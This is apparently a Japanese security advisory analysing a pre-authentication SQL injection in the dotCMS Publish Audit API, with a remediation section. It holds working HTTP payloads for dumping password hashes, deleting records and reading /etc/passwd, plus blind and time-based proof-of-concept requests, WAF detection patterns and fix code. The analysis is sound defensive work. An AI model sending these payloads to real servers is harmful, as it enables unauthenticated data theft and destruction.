
dotCMS 事前認証SQLインジェクション
CVE-2026-8054 は、dotCMS Core の Publish Audit API に存在する重要度高のPre-auth SQLインジェクション脆弱性(Pre-auth SQL Injection)です。本脆弱性は公式にセキュリティインシデント SI-75 として追跡され、2026年5月末に正式に公開されました。攻撃者はアカウント権限を一切必要とせずにリモートから攻撃可能であり、潜在的な被害は非常に深刻です。
| 属性 | 値 |
|---|---|
| CVE番号 | CVE-2026-8054 |
| 公式追跡 | SI-75 |
| 脆弱性タイプ | SQLインジェクション (CWE-89) |
| 影響コンポーネント | dotCMS Core - Publish Audit API |
| CVSSスコア | 10.0 (Critical) |
| 影響を受けるバージョン | 25.11.04-1 ~ 26.04.28-02 |
| 修正バージョン | 26.04.28-03 |
| 攻撃方法 | リモート未認証SQLインジェクション (Pre-auth) |
| 必要な権限 | 認証不要 |
| ユーザ操作 | 不要 |
| LTSへの影響 | 影響なし(監査コードブランチはLTSツリーにバックポートされていない) |
脆弱性は /api/auditPublishing/get および /api/auditPublishing/getAll の2つのRESTエンドポイントに存在します。これらのエンドポイントはクライアントからのリクエストパラメータを受け取る際、フィルタリングやパラメータバインドを一切行わず、単純な文字列連結により動的にSQLクエリを構築します。
さらに致命的なのは、dotCMSがこれらの監査関連の内部APIに対して認証と権限チェックを完全に欠いている点です。つまり、外部ネットワークから資格情報を持たないリモート攻撃者が、システムにネットワークアクセスできれば、悪意のあるペイロードを含むHTTPリクエストを直接送信できるようになります。
ファイルパス: dotCMS/src/main/java/com/dotcms/rest/AuditPublishingResource.java
脆弱性は2つのREST APIエンドポイントに存在します:
GET /api/auditPublishing/get/{bundleId} - 単一のパブリッシュ監査ステータスを取得POST /api/auditPublishing/getAll - 複数のパブリッシュ監査ステータスを一括取得主要な問題: 修正前、これらのエンドポイントは認証を一切必要とせず、匿名ユーザでも直接アクセス可能でした。
@Path("/auditPublishing")
@Tag(name = "Publishing")
public class AuditPublishingResource {
@POST
@Path("/getAll")
@Produces(MediaType.APPLICATION_JSON)
public Response getAll(List<String> bundleIds) {
// 【脆弱性ポイント】認証チェックなし!直接バックエンドAPIを呼び出す
try {
final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
// ...
}
}
}
ファイルパス: dotCMS/src/main/java/com/dotcms/publisher/business/PublishAuditAPIImpl.java
メソッド: getPublishAuditStatuses(List<String> bundleIds) (第224-245行)
@CloseDBIfOpened
public List<PublishAuditStatus> getPublishAuditStatuses(List<String> bundleIds)
throws DotPublisherException {
try {
final List<PublishAuditStatus> result = new ArrayList<>();
DotConnect dc = new DotConnect();
// 【脆弱性ポイント1】ユーザ入力を直接SQL文に連結
// シングルクォートで囲むだけで、パラメータ化やエスケープ処理は一切なし
final List<String> parameter = bundleIds.stream()
.map(id -> "'" + id + "'") // 危険: 文字列連結
.collect(Collectors.toList());
// 【脆弱性ポイント2】String.formatでSQLを構築、ユーザ入力が直接埋め込まれる
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS,
String.join(",", parameter)));
List<Map<String, Object>> items = dc.loadObjectResults();
for(Map<String, Object> item: items) {
result.add(turnIntoPublishAuditStatus(NO_LIMIT_ASSETS, item));
}
return result;
} catch(Exception e) {
Logger.debug(PublisherUtil.class, e.getMessage(), e);
throw new DotPublisherException("Unable to get list of elements with error:" + e.getMessage(), e);
}
}
SQL定数 (SELECT_ALL_BY_BUNDLES_IDS):
SELECT * FROM publishing_queue_audit WHERE bundle_id IN (%s)
graph LR
subgraph 外部攻撃者
A[リモート攻撃者] -->|悪意のあるペイロード送信| B[HTTP REST API]
end
subgraph アプリケーション層
B -->|POST /api/auditPublishing/getAll| C[AuditPublishingResource<br/>GET/POST]
C -->|呼び出し| D[PublishAuditAPI]
D -->|呼び出し| E[PublishAuditAPIImpl]
E -->|bundleIdsを渡す| F[汚染処理<br/>bundleIds.stream<br/>.map id -> id]
F -->|パラメータ連結| G[SQL構築<br/>String.format]
end
subgraph 技術層
G -->|SQL構築| H[動的SQLクエリ<br/>SELECT * FROM publishing_queue_audit<br/>WHERE bundle_id IN %s]
H -->|実行| I[SQL実行]
I -->|注入SQL実行| J[PostgreSQL/MySQL]
end
subgraph 脆弱性ポイント
K[脆弱性ポイント1<br/>認証チェックなし] -.->|認証バイパス| C
L[脆弱性ポイント2<br/>パラメータバインドなし] -.->|単にクォートを追加| F
end
style A fill:#ff6b6b,stroke:#333,color:#fff
style K fill:#ff6b6b,stroke:#333,color:#fff
style L fill:#ff6b6b,stroke:#333,color:#fff
style J fill:#ffa94d,stroke:#333
汚染伝播: ユーザ入力 → REST API → バックエンド処理 → SQL構築 → データベース実行 主要な欠陥: 認証なし + パラメータ化なし = 完全に制御可能なSQLインジェクション
ユーザ入力が bundleIds = ["x' OR '1'='1"] の場合を想定
正常なSQL:
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('normal-id')
インジェクション後のSQL:
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('x' OR '1'='1')
'1'='1' は常に真となるため、このクエリはテーブル内の全レコードを返します。
graph TD
subgraph 入力比較
A[正常入力<br/>bundle-123] -->|構築| B[正常なSQL<br/>WHERE bundle_id IN<br/>'bundle-123']
C[悪意のある入力<br/>x OR 1=1] -->|インジェクション| D[注入SQL<br/>WHERE bundle_id IN<br/>x OR 1=1]
end
subgraph データベース実行
B -->|実行| E[データベース]
D -->|実行| E
end
subgraph 結果比較
E -->|返却| F[正常結果<br/>1レコード]
E -->|返却 データ漏洩| G[漏洩結果<br/>全レコード]
end
style C fill:#ff6b6b,stroke:#333,color:#fff
style G fill:#ff6b6b,stroke:#333,color:#fff
style D fill:#ff6b6b,stroke:#333,color:#fff
note1[注入点: シングルクォートで元の文字列を閉じる<br/>OR 1=1 で条件を常に真に<br/>結果: 全レコードを返す]
本脆弱性を悪用された攻撃者は、データベースシステムユーザのコンテキストで任意のSQLコマンドを実行可能となり、以下のような重大な結果を引き起こします。
graph TD
subgraph 攻撃影響分析
subgraph データ機密性
A[管理者パスワードハッシュ]
B[ユーザ資格情報]
C[リセットトークン]
D[システム設定]
end
subgraph データ整合性
E[サイトコンテンツ]
F[ユーザロール権限]
G[監査ログ]
end
subgraph システム可用性
H[DROP TABLE]
I[DELETEデータ]
J[UPDATEデータ]
end
subgraph 権限昇格
K[管理者乗っ取り]
L[ファイルシステム読み書き]
M[リモートコード実行]
end
end
N[SQLインジェクション脆弱性] -->|漏洩| A
N -->|漏洩| B
N -->|漏洩| C
N -->|改ざん| E
N -->|改ざん| F
N -->|実行| H
N -->|実現| K
N -->|実現| L
O[CVSS 10.0 Critical] -.->|評価| N
style N fill:#ff6b6b,stroke:#333,color:#fff
style O fill:#ff6b6b,stroke:#333,color:#fff
攻撃者はSQLインジェクションによりコアデータベーステーブルを抜き出し、以下を取得可能:
攻撃ペイロード例 - 管理者パスワード取得:
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json
["x' UNION SELECT user_id,password_hash,email,null,null FROM dotcms_user--"]
攻撃者はデータベース内の以下のデータを任意に変更、挿入、削除可能:
攻撃ペイロード例 - 監査レコード削除:
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json
["x'; DELETE FROM publishing_queue_audit; --"]
バックエンドのデータベースタイプ(PostgreSQL、MySQL等)や設定権限に応じて、攻撃者は注入ポイントを通じて以下を実現する可能性があります:
攻撃ペイロード例 - PostgreSQLファイル読み取り:
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json
["x' UNION SELECT null,pg_read_file('/etc/passwd'),null,null,null--"]
graph TB
subgraph Docker環境アーキテクチャ
subgraph docker-compose
A[dotcms-vuln<br/>dotcms:25.11.04-1]
B[dotcms-db<br/>postgres:15]
C[dotcms-es<br/>elasticsearch:7.17]
end
D[dotcms-net<br/>bridgeネットワーク]
E[HTTP :8080]
F[HTTPS :8443]
G[PostgreSQL :5432]
H[Elasticsearch :9200]
end
A -->|公開| E
A -->|公開| F
B -->|公開| G
C -->|公開| H
A -->|データベース接続| B
A -->|検索エンジン接続| C
D --- A
D --- B
D --- C
style A fill:#51cf66,stroke:#333
style B fill:#51cf66,stroke:#333
style C fill:#51cf66,stroke:#333
note1[脆弱性バージョン: 25.11.04-1<br/>初期パスワード: admin<br/>ポート: 8080, 8443]
Docker Compose を使用して脆弱性環境を構築します:
docker-compose.yml:
services:
dotcms:
build: .
container_name: dotcms-vuln
ports:
- "8080:8080"
- "8443:8443"
environment:
- DOT_INITIAL_ADMIN_PASSWORD=admin
- DOT_DOTCMS_URL=http://localhost:8080
- DOT_DB_HOST=dotcms-db
- DOT_DB_PORT=5432
- DOT_DB_NAME=dotcms
- DOT_DB_USERNAME=dotcms
- DOT_DB_PASSWORD=dotcms
- DOT_DB_BASE_URL=jdbc:postgresql://dotcms-db:5432/dotcms
- DOT_DB_DRIVER=org.postgresql.Driver
- DOT_ES_ENDPOINTS=http://dotcms-es:9200
- DOT_ES_HOSTNAME=dotcms-es
depends_on:
dotcms-db:
condition: service_healthy
dotcms-es:
condition: service_started
dotcms-db:
image: postgres:15
environment:
- POSTGRES_DB=dotcms
- POSTGRES_USER=dotcms
- POSTGRES_PASSWORD=dotcms
healthcheck:
test: ["CMD-SHELL", "pg_isready -U dotcms"]
interval: 5s
timeout: 5s
retries: 20
dotcms-es:
image: elasticsearch:7.17.24
environment:
- discovery.type=single-node
- xpack.security.enabled=false
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
Dockerfile:
FROM dotcms/dotcms:25.11.04-1
起動コマンド:
docker compose up -d
# dotCMSの初期化完了を待つ(約2~3分)
# 状態確認: docker compose logs -f dotcms
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 11
["test-id"]
応答: 200 OK、空の配列 [] が返る。エンドポイントが認証不要でアクセス可能であることを確認。
ブラインドベースSQLインジェクションの原理:HTTPレスポンスのステータスコードの違いを観察して、インジェクション条件の真偽を判断します。
graph TD
subgraph ブラインドベースの流れ
A["リクエスト送信"] -->|ペイロード送信| B["/api/auditPublishing/getAll"]
B -->|真条件| C["真条件 and 1=1"]
B -->|偽条件| D["偽条件 and 1=2"]
C -->|データ返却| E["404 Not Found データあり NPE"]
D -->|データ返却なし| F["200 OK + 空配列 データなし正常"]
E -->|分析| G["応答分析"]
F -->|分析| G
G -->|条件の真偽を推測| H["結論推定"]
end
style C fill:#51cf66,stroke:#333
style D fill:#ff6b6b,stroke:#333,color:#fff
style E fill:#ff6b6b,stroke:#333,color:#fff
style F fill:#51cf66,stroke:#333
note1["Payload: real-bundle-1 and 1=1 応答: 404 NPE例外 結論: 条件が真"]
note2["Payload: real-bundle-1 and 1=2 応答: 200 + 空配列 結論: 条件が偽"]
真条件テスト (and 1=1):
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["real-bundle-1') and 1=1--'"]
応答: 404 Not Found
偽条件テスト (and 1=2):
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["real-bundle-1') and 1=2--'"]
応答: 200 OK、[] が返る
SQL実行分析:
-- 真条件: bundle_idが一致 かつ 1=1が真 -> データ返却 -> コードがNPEを処理 -> 404
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=1--'')
-- 偽条件: bundle_idが一致 だが 1=2が偽 -> データ返却なし -> 空結果を正常処理 -> 200
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=2--'')
応答差異の原理:
結論: 404/200の応答差異を利用して、攻撃者はデータベース内の任意の情報(テーブル名、フィールド値、パスワードハッシュなど)を1ビットずつ推測可能。
時間ベースSQLインジェクションの原理:応答時間の差異を観察して、インジェクション条件の真偽を判断します。
graph TD
subgraph 時間ベースの流れ
A["リクエスト送信"] -->|ペイロード送信| B["/api/auditPublishing/getAll"]
B -->|渡す| C["遅延ペイロード SELECT pg_sleep N"]
C -->|SQL実行| D["PostgreSQL"]
D -->|呼び出し| E["pg_sleep N 遅延実行"]
E -->|N秒遅延| F["応答時間を測定"]
F -->|ベースライン比較| G["遅延差異を分析"]
G -->|条件の真偽を推測| H["結論推定"]
end
style C fill:#51cf66,stroke:#333
style E fill:#51cf66,stroke:#333
note1["Payload: x and SELECT pg_sleep 3 text=t 正常応答: 0.03秒 遅延応答: 3.02秒 結論: pg_sleepが正常に実行"]
3秒遅延テスト:
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["x') and (SELECT pg_sleep(3))::text='t'--'"]

応答: 200 OK、所要時間 3.02秒
5秒遅延テスト:
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["x') and (SELECT pg_sleep(5))::text='t'--'"]
応答: 200 OK、所要時間 5.01秒
SQL実行分析:
select * from publishing_queue_audit where bundle_id in ('x') and (SELECT pg_sleep(3))::text='t'--'')
応答時間比較:
結論: 応答遅延を制御することで、攻撃者は結果が返ってこないシナリオでもデータベース情報を1ビットずつ推測可能。
graph TD
subgraph 修正策
subgraph コード修正
A[パラメータ化クエリ<br/>プレースホルダを使用]
B[認証強化<br/>Push Publish Token]
C[入力検証<br/>null/空チェック]
end
subgraph 修正効果
D[SQLインジェクション防止]
E[未承認アクセス制限]
F[NullPointerException防止]
end
G[PR #35553]
H[修正バージョン<br/>26.04.28-03]
end
G -->|実装| A
G -->|実装| B
G -->|実装| C
A -->|パラメータバインド| D
B -->|強制認証| E
C -->|Null処理| F
H -->|含む| G
style G fill:#51cf66,stroke:#333
style H fill:#51cf66,stroke:#333
note1[修正前: String.formatで連結<br/>修正後: dc.addParamでパラメータバインド]
修正前 (脆弱性コード):
final List<String> parameter = bundleIds.stream()
.map(id -> "'" + id + "'")
.collect(Collectors.toList());
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, String.join(",", parameter)));
修正後 (安全なコード):
// 追加: nullチェック
if (bundleIds == null || bundleIds.isEmpty()) {
return Collections.emptyList();
}
// パラメータ化クエリのプレースホルダを使用
final String placeholders = bundleIds.stream()
.map(id -> "?")
.collect(Collectors.joining(","));
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, placeholders));
bundleIds.forEach(dc::addParam); // パラメータバインドでSQLインジェクション防止
修正前:
public Response getAll(List<String> bundleIds) {
// 認証チェックなし
try {
final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
修正後:
public Response getAll(final List<String> bundleIds,
@Context final HttpServletRequest request) {
// 追加: Push Publish Token認証チェック
final AuthCredentialPushPublishUtil.PushPublishAuthenticationToken ppAuthToken =
AuthCredentialPushPublishUtil.INSTANCE.processAuthHeader(request);
final Optional<Response> failResponse = PushPublishResourceUtil.getFailResponse(request, ppAuthToken);
if (failResponse.isPresent()) {
return failResponse.get(); // 401 Unauthorizedを返す
}
// ...
}
| 修正措置 | 説明 |
|---|---|
| パラメータ化クエリ | ? プレースホルダを文字列連結の代わりに使用。データベースが自動的にパラメータをエスケープ処理し、SQLインジェクションを根本的に防止 |
| 認証強化 | 有効なPush Publish Tokenをリクエストに要求。publishing-queueコンポーネントの権限を持つログインユーザのみアクセス可能に制限 |
| 入力検証 | nullや空リストのチェックを追加し、NullPointerExceptionを防止 |
修正バージョンにすぐにアップグレードできない場合は、以下の一時的な緩和策を講じてください。
graph TD
subgraph 防御策
subgraph ネットワーク層
A[WAFルールでブロック<br/>/api/auditPublishing/を遮断]
B[ファイアウォール制限<br/>内部ネットワークのみ許可]
end
subgraph アプリケーション層
C[Nginx防御ルール<br/>locationでブロック]
D[ModSecurityルール<br/>SQLインジェクション検出]
end
subgraph データ層
E[データベース権限制限<br/>最小権限の原則]
F[危険な関数制限<br/>pg_read_file等]
end
G[26.04.28-03へのアップグレード<br/>根本的解決策]
end
A -.->|一時的な代替| G
B -.->|一時的な代替| G
C -.->|一時的な代替| G
E -.->|影響軽減| G
style G fill:#51cf66,stroke:#333
style A fill:#ffd43b,stroke:#333
style B fill:#ffd43b,stroke:#333
style C fill:#ffd43b,stroke:#333
style D fill:#ffd43b,stroke:#333
note1[優先度: P0 - 直ちにアップグレード<br/>その他の措置は一時的な緩和策]
Webアプリケーションファイアウォール(WAF)やリバースプロキシでアクセス制御ポリシーを設定し、外部ネットワークからの /api/auditPublishing/get および /api/auditPublishing/getAll パスへのリクエストを直接ブロックまたは拒否します。
# /etc/nginx/conf.d/dotcms-security.conf
# Publish Audit API リクエストをブロック
location ~ ^/api/auditPublishing/(get|getAll) {
# 403を返してアクセス禁止
return 403 "Forbidden: Endpoint blocked for security reasons";
add_header Content-Type text/plain;
}
# または、より緩和された方法で内部ネットワークのみ許可
location ~ ^/api/auditPublishing/(get|getAll) {
# 内部IPセグメントを許可
allow 10.0.0.0/8;
allow 172.16.0.0/12;
allow 192.168.0.0/16;
# その他すべてを拒否
deny all;
}
# SQLインジェクション特徴に対するWAFルール
location / {
# 一般的なSQLインジェクション特徴を検出
if ($request_uri ~* "(union|select|insert|update|delete|drop|--)") {
return 403;
}
# シングルクォートインジェクション検出
if ($request_uri ~* "'") {
return 403;
}
proxy_pass http://dotcms_backend;
}
# /etc/modsecurity/rules/dotcms-cve-2026-8054.conf
# ルール1: 脆弱性エンドポイントへのアクセスをブロック
SecRule REQUEST_URI "@rx /api/auditPublishing/(get|getAll)" \
"id:2026805401,phase:1,deny,status:403,msg:'CVE-2026-8054: Blocked access to vulnerable dotCMS endpoint'"
# ルール2: SQLインジェクション特徴を検出
SecRule REQUEST_BODY "@rx (?i:(union|select|insert|update|delete|drop|exec|--)".*?(from|into|table))" \
"id:2026805402,phase:2,deny,status:403,msg:'CVE-2026-8054: SQL Injection attempt detected'"
dotCMSがデータベースに接続するアカウントが最小権限の原則に従っていることを確認します:
-- PostgreSQL 権限制限例
-- 制限付きユーザ作成
CREATE USER dotcms_restricted WITH PASSWORD 'secure_password';
-- 必要なテーブル権限のみ付与
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO dotcms_restricted;
-- テーブルの作成/削除を禁止
REVOKE CREATE ON SCHEMA public FROM dotcms_restricted;
-- システムコマンド実行を禁止
REVOKE ALL ON FUNCTION pg_exec FROM dotcms_restricted;
-- ファイル読み取りを禁止
REVOKE ALL ON FUNCTION pg_read_file FROM dotcms_restricted;
# iptablesを使用してAPIポートへのアクセスを制限
# 内部ネットワークからの8080ポートアクセスのみ許可
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 172.16.0.0/12 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 192.168.0.0/16 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP
graph TD
subgraph 脆弱性まとめ
subgraph 根本原因分析
A[入力検証不足<br/>ユーザ入力を直接SQLに連結]
B[認証不足<br/>APIが認証不要でアクセス可能]
C[パラメータ化不足<br/>文字列連結、パラメータクエリなし]
end
subgraph CVSS評価
D[CVSS 10.0<br/>Critical]
E[ネットワークリモート]
F[低複雑性]
G[認証不要]
end
subgraph 修正推奨事項
H[P0: 直ちにアップグレード<br/>26.04.28-03]
I[P1: WAFブロック<br/>一時的緩和]
J[P2: データベース権限<br/>影響軽減]
end
end
A -->|原因| D
B -->|原因| D
C -->|原因| D
H -->|解決| A
H -->|解決| B
H -->|解決| C
I -.->|一時的代替| H
J -.->|リスク軽減| H
style D fill:#ff6b6b,stroke:#333,color:#fff
style H fill:#51cf66,stroke:#333
note1[攻撃ベクトル: Network<br/>攻撃複雑性: Low<br/>権限要件: None<br/>ユーザ操作: None]
公式発表では LTS(長期サポート版)は影響を受けません。これは影響を受ける監査コードブランチがLTSツリーにバックポート(逆移植)されたことがないためです。LTSバージョンをご利用のお客様は緊急のアップグレードは不要です。
レポート生成日時: 2026-06-08 分析ツール: Docker, curl, PostgreSQL 脆弱性バージョン: dotCMS 25.11.04-1 修正バージョン: dotCMS 26.04.28-03 (PR #35553)
| 次元 | 評価 |
|---|
| 攻撃ベクトル | ネットワークリモート (Network) |
| 攻撃複雑性 | 低 (Low) |
| 前提条件 | なし (None) |
| ユーザ操作 | 不要 (None) |
| 影響範囲 | 変更あり (Changed) |
| 機密性への影響 | 高 (High) |
| 整合性への影響 | 高 (High) |
| 可用性への影響 | 高 (High) |
| 条件 | SQL結果 | コード動作 | HTTP応答 |
|---|
and 1=1 (真) | 一致レコードを返す | turnIntoPublishAuditStatus() でデータ処理時に NullPointerException | 404 |
and 1=2 (偽) | レコードを返さない | 空リストを正常に返す | 200 + [] |
| ペイロード |
|---|
| 予想遅延 |
|---|
| 実際の所要時間 |
|---|
| 結果 |
|---|
| 正常リクエスト | 0秒 | 0.03秒 | ✅ |
| pg_sleep(3) | 3秒 | 3.02秒 | ✅ 遅延成功 |
| pg_sleep(5) | 5秒 | 5.01秒 | ✅ 遅延成功 |
| 優先度 | 措置 | 説明 |
|---|
| P0 - 直ちに | dotCMS 26.04.28-03 以降にアップグレード | 公式修正バージョンで根本的に問題を解決 |
| P1 - 緊急 | WAFルールでブロック設定 | 一時的な緩和策で攻撃トラフィックを阻止 |
| P2 - 重要 | データベース権限を制限 | 脆弱性悪用後の影響範囲を低減 |
| P3 - 推奨 | その他のエンドポイントのセキュリティ監査 | 類似問題の有無を確認 |